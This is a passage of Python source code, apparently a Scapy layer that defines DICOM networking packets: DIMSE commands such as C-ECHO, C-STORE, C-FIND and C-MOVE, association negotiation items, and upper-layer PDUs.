0x0101, 0x0000, 0x0800),\n    ]\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"C-ECHO-RQ msg_id=%message_id%\")\n\n    def hashret(self) -> bytes:\n        return struct.pack(\"<H\", self.message_id)\n\n\nclass C_ECHO_RSP(DIMSEPacket):\n    \"\"\"C-ECHO-RSP DIMSE Response.\"\"\"\n\n    name = \"C-ECHO-RSP\"\n    fields_desc = [\n        DICOMUIDField(\"affected_sop_class_uid\",\n                      VERIFICATION_SOP_CLASS_UID, 0x0000, 0x0002),\n        DICOMUSField(\"command_field\", 0x8030, 0x0000, 0x0100),\n        DICOMUSField(\"message_id_responded\", 1, 0x0000, 0x0120),\n        DICOMUSField(\"data_set_type\", 0x0101, 0x0000, 0x0800),\n        DICOMUSField(\"status\", 0x0000, 0x0000, 0x0900),\n    ]\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"C-ECHO-RSP status=%status%\")\n\n    def hashret(self) -> bytes:\n        return struct.pack(\"<H\", self.message_id_responded)\n\n    def answers(self, other: Packet) -> int:\n        if isinstance(other, C_ECHO_RQ):\n            return self.message_id_responded == other.message_id\n        return 0\n\n\nclass C_STORE_RQ(DIMSEPacket):\n    \"\"\"C-STORE-RQ DIMSE Command for storing DICOM objects.\"\"\"\n\n    name = \"C-STORE-RQ\"\n    fields_desc = [\n        DICOMUIDField(\"affected_sop_class_uid\",\n                      CT_IMAGE_STORAGE_SOP_CLASS_UID, 0x0000, 0x0002),\n        DICOMUSField(\"command_field\", 0x0001, 0x0000, 0x0100),\n        DICOMUSField(\"message_id\", 1, 0x0000, 0x0110),\n        DICOMUSField(\"priority\", 0x0002, 0x0000, 0x0700),\n        DICOMUSField(\"data_set_type\", 0x0000, 0x0000, 0x0800),\n        DICOMUIDField(\"affected_sop_instance_uid\",\n                      \"1.2.3.4.5.6.7.8.9\", 0x0000, 0x1000),\n    ]\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"C-STORE-RQ msg_id=%message_id%\")\n\n    def hashret(self) -> bytes:\n        return struct.pack(\"<H\", self.message_id)\n\n\nclass C_STORE_RSP(DIMSEPacket):\n    \"\"\"C-STORE-RSP DIMSE Response.\"\"\"\n\n    name = \"C-STORE-RSP\"\n    fields_desc = [\n        DICOMUIDField(\"affected_sop_class_uid\",\n                      CT_IMAGE_STORAGE_SOP_CLASS_UID, 0x0000, 0x0002),\n        DICOMUSField(\"command_field\", 0x8001, 0x0000, 0x0100),\n        DICOMUSField(\"message_id_responded\", 1, 0x0000, 0x0120),\n        DICOMUSField(\"data_set_type\", 0x0101, 0x0000, 0x0800),\n        DICOMUSField(\"status\", 0x0000, 0x0000, 0x0900),\n        DICOMUIDField(\"affected_sop_instance_uid\",\n                      \"1.2.3.4.5.6.7.8.9\", 0x0000, 0x1000),\n    ]\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"C-STORE-RSP status=%status%\")\n\n    def hashret(self) -> bytes:\n        return struct.pack(\"<H\", self.message_id_responded)\n\n    def answers(self, other: Packet) -> int:\n        if isinstance(other, C_STORE_RQ):\n            return self.message_id_responded == other.message_id\n        return 0\n\n\nclass C_FIND_RQ(DIMSEPacket):\n    \"\"\"C-FIND-RQ DIMSE Command for querying DICOM objects.\"\"\"\n\n    name = \"C-FIND-RQ\"\n    fields_desc = [\n        DICOMUIDField(\"affected_sop_class_uid\",\n                      PATIENT_ROOT_QR_FIND_SOP_CLASS_UID, 0x0000, 0x0002),\n        DICOMUSField(\"command_field\", 0x0020, 0x0000, 0x0100),\n        DICOMUSField(\"message_id\", 1, 0x0000, 0x0110),\n        DICOMUSField(\"priority\", 0x0002, 0x0000, 0x0700),\n        DICOMUSField(\"data_set_type\", 0x0000, 0x0000, 0x0800),\n    ]\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"C-FIND-RQ msg_id=%message_id%\")\n\n    def hashret(self) -> bytes:\n        return struct.pack(\"<H\", self.message_id)\n\n\nclass C_FIND_RSP(DIMSEPacket):\n    \"\"\"C-FIND-RSP DIMSE Response.\"\"\"\n\n    name = \"C-FIND-RSP\"\n    fields_desc = [\n        DICOMUIDField(\"affected_sop_class_uid\",\n                      PATIENT_ROOT_QR_FIND_SOP_CLASS_UID, 0x0000, 0x0002),\n        DICOMUSField(\"command_field\", 0x8020, 0x0000, 0x0100),\n        DICOMUSField(\"message_id_responded\", 1, 0x0000, 0x0120),\n        DICOMUSField(\"data_set_type\", 0x0101, 0x0000, 0x0800),\n        DICOMUSField(\"status\", 0x0000, 0x0000, 0x0900),\n    ]\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"C-FIND-RSP status=%status%\")\n\n    def hashret(self) -> bytes:\n        return struct.pack(\"<H\", self.message_id_responded)\n\n    def answers(self, other: Packet) -> int:\n        if isinstance(other, C_FIND_RQ):\n            return self.message_id_responded == other.message_id\n        return 0\n\n\nclass C_MOVE_RQ(DIMSEPacket):\n    \"\"\"C-MOVE-RQ DIMSE Command for retrieving DICOM objects.\"\"\"\n\n    name = \"C-MOVE-RQ\"\n    fields_desc = [\n        DICOMUIDField(\"affected_sop_class_uid\",\n                      PATIENT_ROOT_QR_MOVE_SOP_CLASS_UID, 0x0000, 0x0002),\n        DICOMUSField(\"command_field\", 0x0021, 0x0000, 0x0100),\n        DICOMUSField(\"message_id\", 1, 0x0000, 0x0110),\n        DICOMUSField(\"priority\", 0x0002, 0x0000, 0x0700),\n        DICOMUSField(\"data_set_type\", 0x0000, 0x0000, 0x0800),\n        DICOMAEDIMSEField(\"move_destination\", b\"\", 0x0000, 0x0600),\n    ]\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"C-MOVE-RQ msg_id=%message_id%\")\n\n    def hashret(self) -> bytes:\n        return struct.pack(\"<H\", self.message_id)\n\n\nclass C_MOVE_RSP(DIMSEPacket):\n    \"\"\"C-MOVE-RSP DIMSE Response.\"\"\"\n\n    name = \"C-MOVE-RSP\"\n    fields_desc = [\n        DICOMUIDField(\"affected_sop_class_uid\",\n                      PATIENT_ROOT_QR_MOVE_SOP_CLASS_UID, 0x0000, 0x0002),\n        DICOMUSField(\"command_field\", 0x8021, 0x0000, 0x0100),\n        DICOMUSField(\"message_id_responded\", 1, 0x0000, 0x0120),\n        DICOMUSField(\"data_set_type\", 0x0101, 0x0000, 0x0800),\n        DICOMUSField(\"status\", 0x0000, 0x0000, 0x0900),\n        DICOMUSField(\"num_remaining\", 0, 0x0000, 0x1020),\n        DICOMUSField(\"num_completed\", 0, 0x0000, 0x1021),\n        DICOMUSField(\"num_failed\", 0, 0x0000, 0x1022),\n        DICOMUSField(\"num_warning\", 0, 0x0000, 0x1023),\n    ]\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"C-MOVE-RSP status=%status%\")\n\n    def hashret(self) -> bytes:\n        return struct.pack(\"<H\", self.message_id_responded)\n\n    def answers(self, other: Packet) -> int:\n        if isinstance(other, C_MOVE_RQ):\n            return self.message_id_responded == other.message_id\n        return 0\n\n\nclass C_GET_RQ(DIMSEPacket):\n    \"\"\"C-GET-RQ DIMSE Command for retrieving objects on same association.\"\"\"\n\n    name = \"C-GET-RQ\"\n    fields_desc = [\n        DICOMUIDField(\"affected_sop_class_uid\",\n                      PATIENT_ROOT_QR_GET_SOP_CLASS_UID, 0x0000, 0x0002),\n        DICOMUSField(\"command_field\", 0x0010, 0x0000, 0x0100),\n        DICOMUSField(\"message_id\", 1, 0x0000, 0x0110),\n        DICOMUSField(\"priority\", 0x0002, 0x0000, 0x0700),\n        DICOMUSField(\"data_set_type\", 0x0000, 0x0000, 0x0800),\n    ]\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"C-GET-RQ msg_id=%message_id%\")\n\n    def hashret(self) -> bytes:\n        return struct.pack(\"<H\", self.message_id)\n\n\nclass C_GET_RSP(DIMSEPacket):\n    \"\"\"C-GET-RSP DIMSE Response.\"\"\"\n\n    name = \"C-GET-RSP\"\n    fields_desc = [\n        DICOMUIDField(\"affected_sop_class_uid\",\n                      PATIENT_ROOT_QR_GET_SOP_CLASS_UID, 0x0000, 0x0002),\n        DICOMUSField(\"command_field\", 0x8010, 0x0000, 0x0100),\n        DICOMUSField(\"message_id_responded\", 1, 0x0000, 0x0120),\n        DICOMUSField(\"data_set_type\", 0x0101, 0x0000, 0x0800),\n        DICOMUSField(\"status\", 0x0000, 0x0000, 0x0900),\n        DICOMUSField(\"num_remaining\", 0, 0x0000, 0x1020),\n        DICOMUSField(\"num_completed\", 0, 0x0000, 0x1021),\n        DICOMUSField(\"num_failed\", 0, 0x0000, 0x1022),\n        DICOMUSField(\"num_warning\", 0, 0x0000, 0x1023),\n    ]\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"C-GET-RSP status=%status%\")\n\n    def hashret(self) -> bytes:\n        return struct.pack(\"<H\", self.message_id_responded)\n\n    def answers(self, other: Packet) -> int:\n        if isinstance(other, C_GET_RQ):\n            return self.message_id_responded == other.message_id\n        return 0\n\n\ndef parse_dimse_status(dimse_bytes: bytes) -> Optional[int]:\n    \"\"\"Extract status code from DIMSE response bytes.\"\"\"\n    try:\n        if len(dimse_bytes) < 12:\n            return None\n        cmd_group_len = struct.unpack(\"<I\", dimse_bytes[8:12])[0]\n        offset = 12\n        group_end_offset = offset + cmd_group_len\n        while offset < group_end_offset and offset + 8 <= len(dimse_bytes):\n            tag_group, tag_elem = struct.unpack(\n                \"<HH\", dimse_bytes[offset:offset + 4]\n            )\n            value_len = struct.unpack(\n                \"<I\", dimse_bytes[offset + 4:offset + 8]\n            )[0]\n            if (\n                tag_group == 0x0000\n                and tag_elem == 0x0900\n                and value_len == 2\n            ):\n                # Ensure there are at least 2 bytes available for the status\n                if offset + 10 > len(dimse_bytes) or offset + 10 > group_end_offset:\n                    break\n                return struct.unpack(\n                    \"<H\", dimse_bytes[offset + 8:offset + 10]\n                )[0]\n            offset += 8 + value_len\n    except struct.error:\n        return None\n    return None\n\n\nclass DICOMGenericItem(Packet):\n    \"\"\"Generic fallback for unrecognized DICOM variable items.\"\"\"\n\n    name = \"DICOM Generic Item\"\n    fields_desc = [\n        StrLenField(\n            \"data\", b\"\",\n            length_from=lambda pkt: (\n                pkt.underlayer.length\n                if pkt.underlayer and pkt.underlayer.length\n                else len(pkt.data)\n            )\n        ),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n\nclass DICOMVariableItem(Packet):\n    \"\"\"DICOM variable item header with type and length fields.\"\"\"\n\n    name = \"DICOM Variable Item\"\n    fields_desc = [\n        ByteEnumField(\"item_type\", 0x10, ITEM_TYPES),\n        ByteField(\"reserved\", 0),\n        LenField(\"length\", None, fmt=\"!H\"),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        if self.length is not None:\n            if len(s) < self.length:\n                raise Scapy_Exception(\"PDU payload incomplete\")\n            return s[:self.length], s[self.length:]\n        return s, b\"\"\n\n    def guess_payload_class(self, payload: bytes) -> type:\n        type_to_class = {\n            0x10: DICOMApplicationContext,\n            0x20: DICOMPresentationContextRQ,\n            0x21: DICOMPresentationContextAC,\n            0x30: DICOMAbstractSyntax,\n            0x40: DICOMTransferSyntax,\n            0x50: DICOMUserInformation,\n            0x51: DICOMMaximumLength,\n            0x52: DICOMImplementationClassUID,\n            0x53: DICOMAsyncOperationsWindow,\n            0x54: DICOMSCPSCURoleSelection,\n            0x55: DICOMImplementationVersionName,\n            0x56: DICOMSOPClassExtendedNegotiation,\n            0x57: DICOMSOPClassCommonExtendedNegotiation,\n            0x58: DICOMUserIdentity,\n            0x59: DICOMUserIdentityResponse,\n        }\n        return type_to_class.get(self.item_type, DICOMGenericItem)\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"Item %item_type%\")\n\n\nclass DICOMApplicationContext(Packet):\n    \"\"\"DICOM Application Context item.\"\"\"\n\n    name = \"DICOM Application Context\"\n    fields_desc = [\n        StrLenField(\n            \"uid\", _uid_to_bytes(APP_CONTEXT_UID),\n            length_from=lambda pkt: (\n                pkt.underlayer.length\n                if pkt.underlayer and pkt.underlayer.length\n                else len(pkt.uid)\n            )\n        ),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return \"AppContext %s\" % self.uid.decode(\"ascii\").rstrip(\"\\x00\")\n\n\nclass DICOMAbstractSyntax(Packet):\n    \"\"\"DICOM Abstract Syntax item.\"\"\"\n\n    name = \"DICOM Abstract Syntax\"\n    fields_desc = [\n        StrLenField(\n            \"uid\", b\"\",\n            length_from=lambda pkt: (\n                pkt.underlayer.length\n                if pkt.underlayer and pkt.underlayer.length\n                else len(pkt.uid)\n            )\n        ),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return \"AbstractSyntax %s\" % self.uid.decode(\"ascii\").rstrip(\"\\x00\")\n\n\nclass DICOMTransferSyntax(Packet):\n    \"\"\"DICOM Transfer Syntax item.\"\"\"\n\n    name = \"DICOM Transfer Syntax\"\n    fields_desc = [\n        StrLenField(\n            \"uid\", _uid_to_bytes(DEFAULT_TRANSFER_SYNTAX_UID),\n            length_from=lambda pkt: (\n                pkt.underlayer.length\n                if pkt.underlayer and pkt.underlayer.length\n                else len(pkt.uid)\n            )\n        ),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return \"TransferSyntax %s\" % self.uid.decode(\"ascii\").rstrip(\"\\x00\")\n\n\nclass DICOMPresentationContextRQ(Packet):\n    \"\"\"DICOM Presentation Context item for association requests.\"\"\"\n\n    name = \"DICOM Presentation Context RQ\"\n    fields_desc = [\n        ByteField(\"context_id\", 1),\n        ByteField(\"reserved1\", 0),\n        ByteField(\"reserved2\", 0),\n        ByteField(\"reserved3\", 0),\n        PacketListField(\n            \"sub_items\", [],\n            DICOMVariableItem,\n            max_count=64,\n            length_from=lambda pkt: (\n                pkt.underlayer.length - 4\n                if pkt.underlayer and pkt.underlayer.length\n                else 0\n            )\n        ),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return \"PresentationContext-RQ ctx_id=%d\" % self.context_id\n\n\nclass DICOMPresentationContextAC(Packet):\n    \"\"\"DICOM Presentation Context item for association accepts.\"\"\"\n\n    name = \"DICOM Presentation Context AC\"\n\n    RESULT_CODES = {\n        0: \"acceptance\",\n        1: \"user-rejection\",\n        2: \"no-reason\",\n        3: \"abstract-syntax-not-supported\",\n        4: \"transfer-syntaxes-not-supported\",\n    }\n\n    fields_desc = [\n        ByteField(\"context_id\", 1),\n        ByteField(\"reserved1\", 0),\n        ByteEnumField(\"result\", 0, RESULT_CODES),\n        ByteField(\"reserved2\", 0),\n        PacketListField(\n            \"sub_items\", [],\n            DICOMVariableItem,\n            max_count=8,\n            length_from=lambda pkt: (\n                pkt.underlayer.length - 4\n                if pkt.underlayer and pkt.underlayer.length\n                else 0\n            )\n        ),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return self.sprintf(\n            \"PresentationContext-AC ctx_id=%context_id% result=%result%\"\n        )\n\n\nclass DICOMMaximumLength(Packet):\n    \"\"\"DICOM Maximum Length sub-item.\"\"\"\n\n    name = \"DICOM Maximum Length\"\n    fields_desc = [\n        IntField(\"max_pdu_length\", 16384),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return \"MaxLength %d\" % self.max_pdu_length\n\n\nclass DICOMImplementationClassUID(Packet):\n    \"\"\"DICOM Implementation Class UID sub-item.\"\"\"\n\n    name = \"DICOM Implementation Class UID\"\n    fields_desc = [\n        StrLenField(\n            \"uid\", b\"\",\n            length_from=lambda pkt: (\n                pkt.underlayer.length\n                if pkt.underlayer and pkt.underlayer.length\n                else len(pkt.uid)\n            )\n        ),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return \"ImplClassUID %s\" % self.uid.decode(\"ascii\").rstrip(\"\\x00\")\n\n\nclass DICOMImplementationVersionName(Packet):\n    \"\"\"DICOM Implementation Version Name sub-item.\"\"\"\n\n    name = \"DICOM Implementation Version Name\"\n    fields_desc = [\n        StrLenField(\n            \"name\", b\"\",\n            length_from=lambda pkt: (\n                pkt.underlayer.length\n                if pkt.underlayer and pkt.underlayer.length\n                else len(pkt.name)\n            )\n        ),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return \"ImplVersion %s\" % self.name.decode(\"ascii\").rstrip(\"\\x00\")\n\n\nclass DICOMAsyncOperationsWindow(Packet):\n    \"\"\"DICOM Asynchronous Operations Window sub-item.\"\"\"\n\n    name = \"DICOM Async Operations Window\"\n    fields_desc = [\n        ShortField(\"max_ops_invoked\", 1),\n        ShortField(\"max_ops_performed\", 1),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return \"AsyncOps inv=%d perf=%d\" % (\n            self.max_ops_invoked, self.max_ops_performed\n        )\n\n\nclass DICOMSCPSCURoleSelection(Packet):\n    \"\"\"DICOM SCP/SCU Role Selection sub-item.\"\"\"\n\n    name = \"DICOM SCP/SCU Role Selection\"\n    fields_desc = [\n        FieldLenField(\"uid_length\", None, length_of=\"sop_class_uid\", fmt=\"!H\"),\n        StrLenField(\"sop_class_uid\", b\"\",\n                    length_from=lambda pkt: pkt.uid_length),\n        ByteField(\"scu_role\", 0),\n        ByteField(\"scp_role\", 0),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return \"RoleSelection SCU=%d SCP=%d\" % (self.scu_role, self.scp_role)\n\n\nclass DICOMSOPClassExtendedNegotiation(Packet):\n    \"\"\"DICOM SOP Class Extended Negotiation sub-item (PS3.7 D.3.3.5).\"\"\"\n\n    name = \"DICOM SOP Class Extended Negotiation\"\n    fields_desc = [\n        FieldLenField(\"sop_class_uid_length\", None,\n                      length_of=\"sop_class_uid\", fmt=\"!H\"),\n        StrLenField(\"sop_class_uid\", b\"\",\n                    length_from=lambda pkt: pkt.sop_class_uid_length),\n        StrLenField(\"service_class_application_information\", b\"\",\n                    length_from=lambda pkt: (\n                        pkt.underlayer.length - 2 - pkt.sop_class_uid_length\n                        if pkt.underlayer and pkt.underlayer.length\n                        else 0\n                    )),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return \"SOPClassExtNeg %s\" % self.sop_class_uid.decode(\"ascii\").rstrip(\"\\x00\")\n\n\nclass DICOMSOPClassCommonExtendedNegotiation(Packet):\n    \"\"\"DICOM SOP Class Common Extended Negotiation sub-item (PS3.7 D.3.3.6).\"\"\"\n\n    name = \"DICOM SOP Class Common Extended Negotiation\"\n    fields_desc = [\n        FieldLenField(\"sop_class_uid_length\", None,\n                      length_of=\"sop_class_uid\", fmt=\"!H\"),\n        StrLenField(\"sop_class_uid\", b\"\",\n                    length_from=lambda pkt: pkt.sop_class_uid_length),\n        FieldLenField(\"service_class_uid_length\", None,\n                      length_of=\"service_class_uid\", fmt=\"!H\"),\n        StrLenField(\"service_class_uid\", b\"\",\n                    length_from=lambda pkt: pkt.service_class_uid_length),\n        FieldLenField(\"related_sop_class_uid_length\", None,\n                      length_of=\"related_sop_class_uids\", fmt=\"!H\"),\n        StrLenField(\"related_sop_class_uids\", b\"\",\n                    length_from=lambda pkt: pkt.related_sop_class_uid_length),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        uid = self.sop_class_uid.decode(\"ascii\").rstrip(\"\\x00\")\n        return \"SOPClassCommonExtNeg %s\" % uid\n\n\nUSER_IDENTITY_TYPES = {\n    1: \"Username\",\n    2: \"Username and Passcode\",\n    3: \"Kerberos Service Ticket\",\n    4: \"SAML Assertion\",\n    5: \"JSON Web Token (JWT)\",\n}\n\n\nclass DICOMUserIdentity(Packet):\n    \"\"\"DICOM User Identity sub-item.\"\"\"\n\n    name = \"DICOM User Identity\"\n    fields_desc = [\n        ByteEnumField(\"user_identity_type\", 1, USER_IDENTITY_TYPES),\n        ByteField(\"positive_response_requested\", 0),\n        FieldLenField(\"primary_field_length\", None,\n                      length_of=\"primary_field\", fmt=\"!H\"),\n        StrLenField(\"primary_field\", b\"\",\n                    length_from=lambda pkt: pkt.primary_field_length),\n        ConditionalField(\n            FieldLenField(\"secondary_field_length\", None,\n                          length_of=\"secondary_field\", fmt=\"!H\"),\n            lambda pkt: pkt.user_identity_type == 2\n        ),\n        ConditionalField(\n            StrLenField(\"secondary_field\", b\"\",\n                        length_from=lambda pkt: pkt.secondary_field_length),\n            lambda pkt: pkt.user_identity_type == 2\n        ),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"UserIdentity %user_identity_type%\")\n\n\nclass DICOMUserIdentityResponse(Packet):\n    \"\"\"DICOM User Identity Server Response sub-item.\"\"\"\n\n    name = \"DICOM User Identity Response\"\n    fields_desc = [\n        FieldLenField(\"response_length\", None,\n                      length_of=\"server_response\", fmt=\"!H\"),\n        StrLenField(\"server_response\", b\"\",\n                    length_from=lambda pkt: pkt.response_length),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return \"UserIdentityResponse\"\n\n\nclass DICOMUserInformation(Packet):\n    \"\"\"DICOM User Information item.\"\"\"\n\n    name = \"DICOM User Information\"\n    fields_desc = [\n        PacketListField(\n            \"sub_items\", [],\n            DICOMVariableItem,\n            max_count=32,\n            length_from=lambda pkt: (\n                pkt.underlayer.length\n                if pkt.underlayer and pkt.underlayer.length\n                else 0\n            )\n        ),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        return \"UserInfo (%d items)\" % len(self.sub_items)\n\n\nbind_layers(DICOMVariableItem, DICOMApplicationContext, item_type=0x10)\nbind_layers(DICOMVariableItem, DICOMPresentationContextRQ, item_type=0x20)\nbind_layers(DICOMVariableItem, DICOMPresentationContextAC, item_type=0x21)\nbind_layers(DICOMVariableItem, DICOMAbstractSyntax, item_type=0x30)\nbind_layers(DICOMVariableItem, DICOMTransferSyntax, item_type=0x40)\nbind_layers(DICOMVariableItem, DICOMUserInformation, item_type=0x50)\nbind_layers(DICOMVariableItem, DICOMMaximumLength, item_type=0x51)\nbind_layers(DICOMVariableItem, DICOMImplementationClassUID, item_type=0x52)\nbind_layers(DICOMVariableItem, DICOMAsyncOperationsWindow, item_type=0x53)\nbind_layers(DICOMVariableItem, DICOMSCPSCURoleSelection, item_type=0x54)\nbind_layers(DICOMVariableItem, DICOMImplementationVersionName, item_type=0x55)\nbind_layers(DICOMVariableItem, DICOMSOPClassExtendedNegotiation, item_type=0x56)\nbind_layers(DICOMVariableItem, DICOMSOPClassCommonExtendedNegotiation, item_type=0x57)\nbind_layers(DICOMVariableItem, DICOMUserIdentity, item_type=0x58)\nbind_layers(DICOMVariableItem, DICOMUserIdentityResponse, item_type=0x59)\nbind_layers(DICOMVariableItem, DICOMGenericItem)\n\n\nclass DICOM(Packet):\n    \"\"\"DICOM Upper Layer (UL) PDU header.\"\"\"\n\n    name = \"DICOM UL\"\n    fields_desc = [\n        ByteEnumField(\"pdu_type\", 0x01, PDU_TYPES),\n        ByteField(\"reserved1\", 0),\n        LenField(\"length\", None, fmt=\"!I\"),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        if self.length is not None:\n            return s[:self.length], s[self.length:]\n        return s, b\"\"\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"DICOM %pdu_type%\")\n\n\nclass PresentationDataValueItem(Packet):\n    \"\"\"Presentation Data Value (PDV) item within P-DATA-TF PDU.\"\"\"\n\n    name = \"PresentationDataValueItem\"\n    fields_desc = [\n        FieldLenField(\"length\", None, length_of=\"data\", fmt=\"!I\",\n                      adjust=lambda pkt, x: x + 2),\n        ByteField(\"context_id\", 1),\n        BitField(\"reserved_bits\", 0, 6),\n        BitField(\"is_last\", 0, 1),\n        BitField(\"is_command\", 0, 1),\n        StrLenField(\"data\", b\"\",\n                    length_from=lambda pkt: max(0, (pkt.length or 2) - 2)),\n    ]\n\n    def extract_padding(self, s: bytes) -> Tuple[bytes, bytes]:\n        return b\"\", s\n\n    def mysummary(self) -> str:\n        cmd_or_data = \"CMD\" if self.is_command else \"DATA\"\n        last = \" LAST\" if self.is_last else \"\"\n        return \"PDV ctx=%d %s%s len=%d\" % (\n            self.context_id, cmd_or_data, last, len(self.data)\n        )\n\n\nclass A_ASSOCIATE_RQ(Packet):\n    \"\"\"A-ASSOCIATE-RQ PDU for initiating DICOM associations.\"\"\"\n\n    name = \"A-ASSOCIATE-RQ\"\n    fields_desc = [\n        ShortField(\"protocol_version\", 1),\n        ShortField(\"reserved1\", 0),\n        DICOMAETitleField(\"called_ae_title\", b\"\"),\n        DICOMAETitleField(\"calling_ae_title\", b\"\"),\n        StrFixedLenField(\"reserved2\", b\"\\x00\" * 32, 32),\n        PacketListField(\n            \"variable_items\", [],\n            DICOMVariableItem,\n            max_count=256,\n            length_from=lambda pkt: (\n                pkt.underlayer.length - 68\n                if pkt.underlayer and pkt.underlayer.length\n                else 0\n            )\n        ),\n    ]\n\n    def mysummary(self) -> str:\n        called = self.called_ae_title.strip().decode(\"ascii\", errors=\"replace\")\n        calling = self.calling_ae_title.strip().decode(\"ascii\", errors=\"replace\")\n        return \"A-ASSOCIATE-RQ %s -> %s\" % (calling, called)\n\n    def hashret(self) -> bytes:\n        return self.called_ae_title + self.calling_ae_title\n\n\nclass A_ASSOCIATE_AC(Packet):\n    \"\"\"A-ASSOCIATE-AC PDU for accepting DICOM associations.\"\"\"\n\n    name = \"A-ASSOCIATE-AC\"\n    fields_desc = [\n        ShortField(\"protocol_version\", 1),\n        ShortField(\"reserved1\", 0),\n        DICOMAETitleField(\"called_ae_title\", b\"\"),\n        DICOMAETitleField(\"calling_ae_title\", b\"\"),\n        StrFixedLenField(\"reserved2\", b\"\\x00\" * 32, 32),\n        PacketListField(\n            \"variable_items\", [],\n            DICOMVariableItem,\n            max_count=256,\n            length_from=lambda pkt: (\n                pkt.underlayer.length - 68\n                if pkt.underlayer and pkt.underlayer.length\n                else 0\n            )\n        ),\n    ]\n\n    def mysummary(self) -> str:\n        called = self.called_ae_title.strip().decode(\"ascii\", errors=\"replace\")\n        calling = self.calling_ae_title.strip().decode(\"ascii\", errors=\"replace\")\n        return \"A-ASSOCIATE-AC %s <- %s\" % (calling, called)\n\n    def hashret(self) -> bytes:\n        return self.called_ae_title + self.calling_ae_title\n\n    def answers(self, other: Packet) -> bool:\n        return isinstance(other, A_ASSOCIATE_RQ)\n\n\nclass A_ASSOCIATE_RJ(Packet):\n    \"\"\"A-ASSOCIATE-RJ PDU for rejecting DICOM associations.\"\"\"\n\n    name = \"A-ASSOCIATE-RJ\"\n\n    RESULT_CODES = {\n        1: \"rejected-permanent\",\n        2: \"rejected-transient\",\n    }\n\n    SOURCE_CODES = {\n        1: \"DICOM UL service-user\",\n        2: \"DICOM UL service-provider (ACSE)\",\n        3: \"DICOM UL service-provider (Presentation)\",\n    }\n\n    fields_desc = [\n        ByteField(\"reserved1\", 0),\n        ByteEnumField(\"result\", 1, RESULT_CODES),\n        ByteEnumField(\"source\", 1, SOURCE_CODES),\n        ByteField(\"reason_diag\", 1),\n    ]\n\n    def mysummary(self) -> str:\n        return self.sprintf(\"A-ASSOCIATE-RJ %result% %source%\")\n\n    def answers(self, other: Packet) -> bool:\n        return isinstance(other, A_ASSOCIATE_RQ)\n\n\nclass P_DATA_TF(Packet):\n    \"\"\"P-DATA-TF PDU for transferring DICOM data.\"\"\"\n\n    name = \"P-DATA-TF\"\n    fields_desc = [\n        PacketListField(\n            \"pdv_items\", [],\n            PresentationDataValueItem,\n            max_count=256,\n            length_from=lambda pkt: (\n                pkt.underlayer.length\n                if pkt.underlayer and pkt.underlayer.length\n                else 0\n            )\n        ),\n    ]\n\n    def mysummary(self) -> str:\n        return \"P-DATA-TF (%d PDVs)\" % len(self.pdv_items)\n\n\nclass A_RELEASE_RQ(Packet):\n    \"\"\"A-RELEASE-RQ PDU for requesting association release.\"\"\"\n\n    name = \"A-RELEASE-RQ\"\n    fields_desc = [IntField(\"reserved1\", 0)]\n\n    def mysummary(self) -> str:\n        return \"A-RELEASE-RQ\"\n\n\nclass A_RELEASE_RP(Packet):\n    \"\"\"A-RELEASE-RP PDU for confirming association release.\"\"\"\n\n    name = \"A-RELEASE-RP\"\n    fields_desc = [IntField(\"reserved1\", 0)]\n\n    def mysummary(self) -> str:\n        return \"A-RELEASE-RP\"\n\n    def answers(self, other: Packet) -> bool:\n        return isinstance(other, A_RELEASE_RQ)\n\n\nclass A_ABORT(Packet):\n    \"\"\"A-ABORT PDU for aborting DICOM associations.\"\"\"\n\n    name = \"A-ABORT\"\n\n    SOURCE_CODES = {\n        0: \"DICOM UL service-user\",\n        2: \"DICOM UL service-provider\",\n    }\n\n    fields_desc = [\n        